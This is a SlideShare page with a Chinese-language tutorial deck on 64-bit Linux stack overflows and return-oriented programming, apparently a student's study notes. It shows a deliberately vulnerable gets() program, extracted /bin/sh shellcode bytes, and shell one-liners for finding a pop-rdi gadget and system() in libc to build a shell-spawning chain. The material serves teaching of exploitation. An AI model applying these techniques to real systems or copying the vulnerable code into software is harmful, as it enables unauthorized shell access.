0
64-bit Linux Return-
Oriented Programming
AJ
2014.4.10
Register Use in the Stack Frame for Intel
x86
• ESP - Stack Pointer
• 存放 stack最top的位置
• EBP - Base Pointer
• 在目前stack fram...
Calling a __cdecl Function
• push parameters of the function由右至左進堆疊
• 在call the function時,把EIP push至堆疊中
• 在跳入function中, sa...
Perform the Function
有漏洞的程式碼
#include <stdio.h>
int main() {
char name[64];
printf("%pn", name); // Print address of buffer
puts("What's your n...
介紹兩種攻擊手法
• Stack overflow
• Return-oriented programming (ROP)
執行到紅色箭頭時,stack的配置
#include <stdio.h>
int main() {
char name[64];
printf("%pn", name); // Print address of buffer
puts("Wha...
有趣的Stack Overflow Attack
EBP
EIP
char name[64]
低位址
高位址
Shell code
填0
填 name位置
如何製作Shellcode
• 準備好想要執行的code
• 用gcc 編譯產出執行檔
• 用objdump 和sed 看想要執行的code, 用xxd擷取想要執行的code
想要執行的code system(“/bin/sh”)
label用處方便擷取(常用技巧)
字串指標放入stack(local variable)
執行到這得rdi會等於
指向”/bin/sh”的指標
label用處方便擷取
用objdump 和sed 擷取想要執行的code
• objdump -d a.out | sed -n '/needle0/,/needle1/p'
echo $((0x4dc-0x4bf))
= 29
用xxd擷取想要執行的code
• xxd -s0x4bf -l32 -p a.out shellcode
• cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f...
此Stack Overflow Attack做法的問題
• stack必須是可執行的
• 所以ROP用來解決在stack不可執行的狀況下,也可以成功的攻擊.當
然ASLR和stack保護還是須disable
• 哭哭補充:
• 此攻擊法為cod...
The ROP Concept
1. SP指向位置序列的開始的地方(stack存放位置序列),
並搭配RET.
2. 執行RET,使得 jump到SP所指的位置並SP減8
(RET的行為)
3. 開始執行某些指令之後, 遇到RET . repe...
準備好細節知識
• The gadget
• system(“/bin/sh”)
• 進入到shell中
• 執行systemcall 且 rdi = 指向”/bin/sh”字串的指標
Assemble code Machine code
po...
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
PC
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
PC
有趣的ROP
進入shell
可預期活用
可在libc.so 找出很多gadgets,並且esp必須指到
一序列的gadget addresses,此gadget addresses可
存在buffer裡或者data section裡.
在libc.so 找上述gadget
• 為什麼在libc.so找?
• On Linux, our C main() function is executed by the cooperative
work of GCC, libc and ...
libc’s system() function的位置
• 如何找?
• system=0x$(nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep
'<system>' | cut -f1 -d' ')
Linux Command
• nm - list symbols from object files
• cut - remove or "cut out" sections of each line of a file or
files
•...
Reference
• http://crypto.stanford.edu/~blynn/rop/
• http://en.wikipedia.org/wiki/X86_calling_conventions
• http://www.uni...
Upcoming SlideShare
Loading in...5
×

[若渴計畫]64-bit Linux Return-Oriented Programming

655

Published on

參考http://crypto.stanford.edu/~blynn/rop/ 學習了64-bit Linux Return-Oriented Programming,在這過程中看到一些linux command的用法和stack的知識學習.並與大家分享

Published in: Education, Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
655
On Slideshare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
17
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "[若渴計畫]64-bit Linux Return-Oriented Programming"

  1. 1. 64-bit Linux Return- Oriented Programming AJ 2014.4.10
  2. 2. Register Use in the Stack Frame for Intel x86 • ESP - Stack Pointer • 存放 stack最top的位置 • EBP - Base Pointer • 在目前stack frame中,可透過EBP的加減來得到函數的參數和區域變數 • EIP - Instruction Pointer • 當執行call 和 jump時, EIP值會改變. 而其意義為紀錄跳躍時下一個指令的 位置 • 在x86_64中,這些register為16 bytes
  3. 3. Calling a __cdecl Function • push parameters of the function由右至左進堆疊 • 在call the function時,把EIP push至堆疊中 • 在跳入function中, save 和 update the ebp • push ebp • mov ebp,esp // ebp <= esp • push local variable of the function • 如果此function有使用到某register必須先把此register push進stack • 開始執行function • Restore saved registers • Release local storage • Restore the old base pointer • Return from the function • Clean up pushed parameters
  4. 4. Perform the Function
  5. 5. 有漏洞的程式碼 #include <stdio.h> int main() { char name[64]; printf("%pn", name); // Print address of buffer puts("What's your name?"); gets(name); printf("Hello, %s!n", name); return 0; }
  6. 6. 介紹兩種攻擊手法 • Stack overflow • Return-oriented programming (ROP)
  7. 7. 執行到紅色箭頭時,stack的配置 #include <stdio.h> int main() { char name[64]; printf("%pn", name); // Print address of buffer puts("What's your name?"); gets(name); printf("Hello, %s!n", name); return 0; } EBP EIP char name[64] 低位址 高位址
  8. 8. 有趣的Stack Overflow Attack EBP EIP char name[64] 低位址 高位址 Shell code 填0 填 name位置
  9. 9. 如何製作Shellcode • 準備好想要執行的code • 用gcc 編譯產出執行檔 • 用objdump 和sed 看想要執行的code, 用xxd擷取想要執行的code
  10. 10. 想要執行的code system(“/bin/sh”) label用處方便擷取(常用技巧) 字串指標放入stack(local variable) 執行到這得rdi會等於 指向”/bin/sh”的指標 label用處方便擷取
  11. 11. 用objdump 和sed 擷取想要執行的code • objdump -d a.out | sed -n '/needle0/,/needle1/p' echo $((0x4dc-0x4bf)) = 29
  12. 12. 用xxd擷取想要執行的code • xxd -s0x4bf -l32 -p a.out shellcode • cat shellcode eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef bead
  13. 13. 此Stack Overflow Attack做法的問題 • stack必須是可執行的 • 所以ROP用來解決在stack不可執行的狀況下,也可以成功的攻擊.當 然ASLR和stack保護還是須disable • 哭哭補充: • 此攻擊法為code injection,換個角度想,如果code中他是不能被更改和複寫 的,就可以在此code找出gadget,然而更改存資料地方,然而影響到PC 跳到 gadget去執行, 也可稱code reuse attack. • 還有關於這類的攻擊 ,還有 JOP/IOP(stackless)/BOP • 對於IOP有github: stjj89
  14. 14. The ROP Concept 1. SP指向位置序列的開始的地方(stack存放位置序列), 並搭配RET. 2. 執行RET,使得 jump到SP所指的位置並SP減8 (RET的行為) 3. 開始執行某些指令之後, 遇到RET . repeat (2)(3) •而step 3 在遇到RET之前的code與RET 稱為 gadget … EIP char name[64] address address EBP retpc->
  15. 15. 準備好細節知識 • The gadget • system(“/bin/sh”) • 進入到shell中 • 執行systemcall 且 rdi = 指向”/bin/sh”字串的指標 Assemble code Machine code pop %rdi 0x5f ret 0xc3
  16. 16. 有趣的ROP EBP EIP char name[64] 低位址 高位址 /bin/sh 填0 gadget的位置 name的位置 system的位置 gadget: pop %rdi ret ESP
  17. 17. 有趣的ROP EBP EIP char name[64] 低位址 高位址 /bin/sh 填0 gadget的位置 name的位置 system的位置 gadget: pop %rdi ret ESP PC
  18. 18. 有趣的ROP EBP EIP char name[64] 低位址 高位址 /bin/sh 填0 gadget的位置 name的位置 system的位置 gadget: pop %rdi ret ESP PC
  19. 19. 有趣的ROP 進入shell
  20. 20. 可預期活用 可在libc.so 找出很多gadgets,並且esp必須指到 一序列的gadget addresses,此gadget addresses可 存在buffer裡或者data section裡.
  21. 21. 在libc.so 找上述gadget • 為什麼在libc.so找? • On Linux, our C main() function is executed by the cooperative work of GCC, libc and Linux's binary loader • http://linuxgazette.net/84/hawk.html •如何找? • gadget=0x$(xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep - n -B1 c3 | grep 5f -m1 | awk '{printf"%xn",$1-1}') • 哭哭補充: • 有研究上,透過新增compiler功能,其功能找出所以程式碼的 gadgets
  22. 22. libc’s system() function的位置 • 如何找? • system=0x$(nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '<system>' | cut -f1 -d' ')
  23. 23. Linux Command • nm - list symbols from object files • cut - remove or "cut out" sections of each line of a file or files • xxd - make a hexdump or do the reverse • sed - stream editor for filtering and transforming text • objdump - display information from object files
  24. 24. Reference • http://crypto.stanford.edu/~blynn/rop/ • http://en.wikipedia.org/wiki/X86_calling_conventions • http://www.unixwiz.net/techtips/win32-callconv-asm.html
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×